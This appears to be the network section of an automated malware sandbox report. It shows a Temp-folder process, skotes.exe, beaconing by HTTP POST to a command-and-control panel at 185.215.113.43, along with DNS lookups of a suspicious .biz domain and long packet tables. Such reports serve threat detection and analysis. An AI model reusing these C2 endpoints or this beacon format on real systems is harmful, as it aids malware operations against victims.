Nov 29, 2024 20:08:03.011831999 CET	50098	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:08:03.131906986 CET	80	50098	185.215.113.43	192.168.2.4
Nov 29, 2024 20:08:03.967830896 CET	443	50089	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:03.967925072 CET	443	50089	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:03.972322941 CET	50089	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:03.972714901 CET	50089	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:04.166150093 CET	50100	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:04.166174889 CET	443	50100	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:04.169389009 CET	50100	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:04.169823885 CET	50100	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:04.169837952 CET	443	50100	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:04.247988939 CET	80	50097	185.215.113.206	192.168.2.4
Nov 29, 2024 20:08:04.254352093 CET	50097	80	192.168.2.4	185.215.113.206
Nov 29, 2024 20:08:04.370996952 CET	80	50098	185.215.113.43	192.168.2.4
Nov 29, 2024 20:08:04.375183105 CET	50098	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:08:05.431463003 CET	443	50100	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:05.431545019 CET	50100	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:09.253221035 CET	80	50097	185.215.113.206	192.168.2.4
Nov 29, 2024 20:08:09.253274918 CET	50097	80	192.168.2.4	185.215.113.206
Nov 29, 2024 20:08:16.295397997 CET	50104	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:16.295439005 CET	443	50104	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:16.295511961 CET	50104	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:16.296211004 CET	50104	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:16.296225071 CET	443	50104	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:17.604377031 CET	443	50104	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:17.604444981 CET	50104	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:17.682465076 CET	50104	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:17.682482958 CET	443	50104	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:17.682724953 CET	443	50104	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:17.699039936 CET	50104	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:17.699039936 CET	50104	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:17.699120998 CET	443	50104	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:18.436072111 CET	443	50104	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:18.436168909 CET	443	50104	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:18.436314106 CET	50104	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:18.493920088 CET	50104	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:18.493920088 CET	50104	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:18.493957043 CET	443	50104	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:18.493984938 CET	443	50104	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:20.221643925 CET	443	50100	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:20.221724987 CET	50100	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:24.806806087 CET	50105	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:24.806857109 CET	443	50105	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:24.807022095 CET	50105	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:24.807351112 CET	50105	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:24.807365894 CET	443	50105	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:26.071063995 CET	443	50105	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:26.071142912 CET	50105	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:26.135688066 CET	50105	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:26.135703087 CET	443	50105	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:26.135904074 CET	443	50105	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:26.136909008 CET	50105	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:26.136924982 CET	50105	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:26.136972904 CET	443	50105	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:27.000739098 CET	443	50105	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:27.000792980 CET	443	50105	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:27.000835896 CET	443	50105	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:27.000840902 CET	50105	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:27.000864983 CET	443	50105	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:27.000905991 CET	50105	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:27.000915051 CET	443	50105	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:27.000952959 CET	443	50105	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:27.000988960 CET	50105	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:27.000997066 CET	443	50105	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:27.013957024 CET	443	50105	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:27.014002085 CET	50105	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:27.014010906 CET	443	50105	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:27.022382975 CET	443	50105	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:27.022423029 CET	50105	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:27.022432089 CET	443	50105	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:27.086998940 CET	50105	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:27.120677948 CET	443	50105	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:27.196445942 CET	50105	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:27.196455002 CET	443	50105	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:27.201756954 CET	443	50105	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:27.201798916 CET	50105	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:27.201807022 CET	443	50105	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:27.201862097 CET	443	50105	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:27.201908112 CET	50105	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:27.212575912 CET	50105	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:27.212589025 CET	443	50105	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:27.212610006 CET	50105	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:27.212616920 CET	443	50105	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:27.681548119 CET	50106	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:27.681585073 CET	443	50106	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:27.681642056 CET	50106	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:27.681894064 CET	50106	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:27.681906939 CET	443	50106	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:28.897104025 CET	443	50106	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:28.897171021 CET	50106	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:28.948384047 CET	50106	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:28.948398113 CET	443	50106	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:28.948621988 CET	443	50106	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:28.949616909 CET	50106	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:28.949722052 CET	50106	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:28.949743032 CET	443	50106	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:28.949791908 CET	50106	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:28.949799061 CET	443	50106	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:30.375221968 CET	443	50106	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:30.375309944 CET	443	50106	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:30.375365973 CET	50106	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:30.462130070 CET	50106	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:30.462145090 CET	443	50106	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:30.775073051 CET	50107	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:30.775101900 CET	443	50107	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:30.775260925 CET	50107	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:30.775584936 CET	50107	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:30.775592089 CET	443	50107	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:32.036829948 CET	443	50107	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:32.036979914 CET	50107	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:32.073894024 CET	50107	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:32.073908091 CET	443	50107	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:32.074527979 CET	443	50107	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:32.075552940 CET	50107	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:32.075648069 CET	50107	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:32.075726986 CET	443	50107	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:32.999788046 CET	443	50107	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:32.999870062 CET	443	50107	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:33.000041008 CET	50107	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:33.087248087 CET	50107	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:33.087269068 CET	443	50107	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:33.337682962 CET	50108	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:33.337713003 CET	443	50108	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:33.337881088 CET	50108	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:33.338021040 CET	50108	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:33.338038921 CET	443	50108	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:34.561280012 CET	443	50108	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:34.561495066 CET	50108	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:34.650846958 CET	50108	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:34.650871038 CET	443	50108	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:34.651215076 CET	443	50108	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:34.652283907 CET	50108	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:34.652405024 CET	50108	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:34.652451038 CET	443	50108	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:34.652506113 CET	50108	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:34.652514935 CET	443	50108	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:35.896821022 CET	443	50108	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:35.896960020 CET	443	50108	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:35.897015095 CET	50108	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:35.949506998 CET	50108	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:35.949523926 CET	443	50108	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:36.462573051 CET	50109	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:36.462631941 CET	443	50109	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:36.462716103 CET	50109	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:36.462939978 CET	50109	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:36.462949991 CET	443	50109	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:37.723925114 CET	443	50109	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:37.723999977 CET	50109	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:37.791591883 CET	50109	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:37.791620970 CET	443	50109	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:37.791989088 CET	443	50109	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:37.792970896 CET	50109	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:37.793051958 CET	50109	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:37.793060064 CET	443	50109	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:38.975451946 CET	443	50109	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:38.975543022 CET	443	50109	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:38.975603104 CET	50109	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:39.026904106 CET	50109	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:39.026917934 CET	443	50109	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:40.714258909 CET	50110	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:40.714287043 CET	443	50110	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:40.714399099 CET	50110	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:40.714634895 CET	50110	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:40.714648008 CET	443	50110	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:42.024038076 CET	443	50110	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:42.024156094 CET	50110	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:42.028649092 CET	50110	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:42.028657913 CET	443	50110	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:42.028886080 CET	443	50110	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:42.030427933 CET	50110	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:42.031140089 CET	50110	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:42.031176090 CET	443	50110	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:42.031301975 CET	50110	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:42.031341076 CET	443	50110	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:42.031645060 CET	50110	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:42.031680107 CET	443	50110	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:42.031831026 CET	50110	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:42.031860113 CET	443	50110	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:42.032006025 CET	50110	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:42.032037973 CET	443	50110	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:42.032191038 CET	50110	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:42.032217979 CET	443	50110	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:42.032228947 CET	50110	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:42.032247066 CET	443	50110	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:42.032360077 CET	50110	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:42.032385111 CET	443	50110	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:42.032403946 CET	50110	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:42.032552004 CET	50110	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:42.032578945 CET	50110	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:42.079324007 CET	443	50110	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:42.079471111 CET	50110	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:42.079493999 CET	443	50110	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:42.079511881 CET	50110	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:42.079529047 CET	443	50110	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:42.079545021 CET	50110	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:42.079551935 CET	443	50110	172.67.165.166	192.168.2.4
Nov 29, 2024 20:08:42.079570055 CET	50110	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:08:42.079580069 CET	443	50110	172.67.165.166	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 29, 2024 20:07:36.406100035 CET	61459	53	192.168.2.4	1.1.1.1
Nov 29, 2024 20:07:36.643291950 CET	53	61459	1.1.1.1	192.168.2.4
Nov 29, 2024 20:07:59.708609104 CET	63842	53	192.168.2.4	1.1.1.1
Nov 29, 2024 20:07:59.961869955 CET	53	63842	1.1.1.1	192.168.2.4
Nov 29, 2024 20:07:59.963165998 CET	51309	53	192.168.2.4	1.1.1.1
Nov 29, 2024 20:08:00.102382898 CET	53	51309	1.1.1.1	192.168.2.4
Nov 29, 2024 20:08:04.209323883 CET	60717	53	192.168.2.4	1.1.1.1
Nov 29, 2024 20:08:04.216440916 CET	57025	53	192.168.2.4	1.1.1.1
Nov 29, 2024 20:08:04.295630932 CET	61911	53	192.168.2.4	1.1.1.1
Nov 29, 2024 20:08:04.307449102 CET	55793	53	192.168.2.4	1.1.1.1
Nov 29, 2024 20:08:04.311255932 CET	51094	53	192.168.2.4	1.1.1.1
Nov 29, 2024 20:08:04.353598118 CET	53	57025	1.1.1.1	192.168.2.4
Nov 29, 2024 20:08:04.356550932 CET	53982	53	192.168.2.4	1.1.1.1
Nov 29, 2024 20:08:04.433028936 CET	53	61911	1.1.1.1	192.168.2.4
Nov 29, 2024 20:08:04.446082115 CET	53	55793	1.1.1.1	192.168.2.4
Nov 29, 2024 20:08:04.450649023 CET	53	51094	1.1.1.1	192.168.2.4
Nov 29, 2024 20:08:04.494713068 CET	53	53982	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 29, 2024 20:07:36.406100035 CET	192.168.2.4	1.1.1.1	0xb952	Standard query (0)	atten-supporse.biz	A (IP address)	IN (0x0001)	false
Nov 29, 2024 20:07:59.708609104 CET	192.168.2.4	1.1.1.1	0xe093	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 29, 2024 20:07:59.963165998 CET	192.168.2.4	1.1.1.1	0xc868	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 29, 2024 20:08:04.209323883 CET	192.168.2.4	1.1.1.1	0xb998	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 20:08:04.216440916 CET	192.168.2.4	1.1.1.1	0x63d4	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 20:08:04.295630932 CET	192.168.2.4	1.1.1.1	0x19d6	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 20:08:04.307449102 CET	192.168.2.4	1.1.1.1	0x7170	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 20:08:04.311255932 CET	192.168.2.4	1.1.1.1	0xdc11	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 29, 2024 20:08:04.356550932 CET	192.168.2.4	1.1.1.1	0x4924	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 29, 2024 20:07:36.643291950 CET	1.1.1.1	192.168.2.4	0xb952	No error (0)	atten-supporse.biz		172.67.165.166	A (IP address)	IN (0x0001)	false
Nov 29, 2024 20:07:36.643291950 CET	1.1.1.1	192.168.2.4	0xb952	No error (0)	atten-supporse.biz		104.21.16.9	A (IP address)	IN (0x0001)	false
Nov 29, 2024 20:07:59.704449892 CET	1.1.1.1	192.168.2.4	0x4508	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 29, 2024 20:07:59.961869955 CET	1.1.1.1	192.168.2.4	0xe093	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 29, 2024 20:08:04.347938061 CET	1.1.1.1	192.168.2.4	0xb998	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 20:08:04.347938061 CET	1.1.1.1	192.168.2.4	0xb998	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 29, 2024 20:08:04.353598118 CET	1.1.1.1	192.168.2.4	0x63d4	No error (0)	youtube.com		142.250.181.142	A (IP address)	IN (0x0001)	false
Nov 29, 2024 20:08:04.418445110 CET	1.1.1.1	192.168.2.4	0x42e7	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 20:08:04.418445110 CET	1.1.1.1	192.168.2.4	0x42e7	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 29, 2024 20:08:04.433028936 CET	1.1.1.1	192.168.2.4	0x19d6	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 29, 2024 20:08:04.446082115 CET	1.1.1.1	192.168.2.4	0x7170	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 20:08:04.446082115 CET	1.1.1.1	192.168.2.4	0x7170	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 29, 2024 20:08:04.450649023 CET	1.1.1.1	192.168.2.4	0xdc11	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 20:08:04.450649023 CET	1.1.1.1	192.168.2.4	0xdc11	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 20:08:04.450649023 CET	1.1.1.1	192.168.2.4	0xdc11	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 29, 2024 20:08:04.494713068 CET	1.1.1.1	192.168.2.4	0x4924	No error (0)	youtube.com		142.250.181.142	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

atten-supporse.biz

185.215.113.43

185.215.113.16

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:04:08.124150991 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 20:04:09.567693949 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:04:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:04:11.247308969 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 29, 2024 20:04:12.670142889 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:04:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:04:14.419805050 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 20:04:15.832437992 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:04:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49735	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:04:17.467649937 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 29, 2024 20:04:18.921870947 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:04:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49738	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:04:20.675261974 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 20:04:22.127446890 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:04:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

